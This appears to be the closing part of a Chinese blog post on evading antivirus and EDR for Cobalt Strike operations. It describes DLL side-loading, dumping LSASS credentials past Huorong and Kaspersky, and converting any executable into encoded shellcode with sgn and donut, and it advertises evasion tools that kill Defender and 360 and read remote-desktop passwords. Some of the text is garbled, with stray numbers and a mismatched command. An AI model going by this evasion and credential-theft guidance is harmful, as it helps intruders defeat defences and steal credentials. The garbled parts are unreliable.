DLL侧加载其实就是白+黑,对于更为严厉的杀软可以使用DLL侧加载,根据“EDR Evasion Primer For Red Teamers”研究,即使是现在,绝大多数的EDR依然难以查杀此类躲藏在合法签名内执行的恶意程序,而且这招即使是APT组织也会使用,足够见其生命力之强,可以参考我之前写的文章增强这类实现部分,我也找两个个微软Windows defender的签名的EXE上传到Github上帮助大家练习:
dump Lsass内存
dump lsass经过多年发展和对抗,已经派生出十几种攻击方法,深入理解牵扯出很多高级机制,非常难,好在我们也有武器化后的工具可以直接拿来用;今年早些使用还可以用SSP加载的方法绕过所有EDR,但是现在被SOC Team的同事上报废了(搞的我文章得重新写,恼),现在就拿火绒演示一下了(笑);
原始的mimikatz在火绒杀毒的情况下都dump不下来了,不过对付火绒只需要:
./sgn --arch=64 -S -i shellcode.txt
8
卡巴斯基的lssas保护非常变态,请看今年的dump内存的测试结果,15种不同的高级dump技术都无法绕过它的保护,对于企业级的对抗得上驱动强度了,后面有机会再分享吧:
通用工具的免杀方法
我们还想让注入技术发挥更强怎么办?有个魔法般的工具能吧所有PE文件转换为shellcode,只要注入技术ok,几乎立刻复活所有工具(0.0),只需要一行命令
./sgn --arch=64 -S -i shellcode.txt
9
当然还有其他转换shellcode的工具donet,这个工具参数有点眼花缭乱,我这里给一条我最常用的:
07 00000054`5532fa40 00007ff8`9a76af38 KERNEL32!BaseThreadInitThunk+0x1d
08 00000054`5532fa70 00000000`00000000 ntdll!RtlUserThreadStart+0x28
0
如果要想要shellcode小一些可以启用压缩算法,-z 1是默认的,目前可用的就1234,5还是有bug:
需要注意,转换工具处理过的shellcode有查杀特征,我记得先知社区有师傅魔改过特征,非常适合持久运行的工具使用,之前记得有的,但是找了一下没找到,有师傅知道可以评论区留言;现在我们有很多方法可以获得任意EXE文件的shellcode,请别再烦恼静态免杀,专注动态对抗吧。
模拟真实环境测试
火绒6.0加入了内存查杀,我们也看看效果,演示视频地址:
卡巴斯基的演示截图,演示视频地址:
总结
本篇文章从Cobalt Strike的免杀切入,深入探讨了流量、内存、行为、沙箱等多种查杀角度的规避技术,虽然目前这些技术能规避绝大多数杀软,但是在顶尖对抗场景来说依然乏力,依然需要持续的学习和研究,欢迎师傅来关注我的博客,希望这篇文章能让师傅玩得愉快!
圈子介绍
博主介绍:
目前已经更新的免杀内容:
一键击溃360+核晶
一键击溃windows defender
一键击溃火绒进程
CobaltStrike4.9.1二开
CobaltStrike免杀加载器
数据库直连工具免杀版
aspx文件自动上线cobaltbrike
jsp文件自动上线cobaltbrike
哥斯拉免杀工具 XlByPassGodzilla
冰蝎免杀工具 XlByPassBehinder
冰蝎星落专版 xlbehinder
正向代理工具 xleoreg
反向代理工具xlfrc
内网扫描工具 xlscan
CS免杀加载器 xlbpcs
Todesk/向日葵密码读取工具
导出lsass内存工具 xlrls
绕过WAF免杀工具 ByPassWAF
等等...
往期推荐
1.
3
4
5.
【声明】本文所涉及的技术、思路和工具仅用于安全测试和防御研究,切勿将其用于非法入侵或攻击他人系统以及盈利等目的,一切后果由操作者自行承担!!!
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...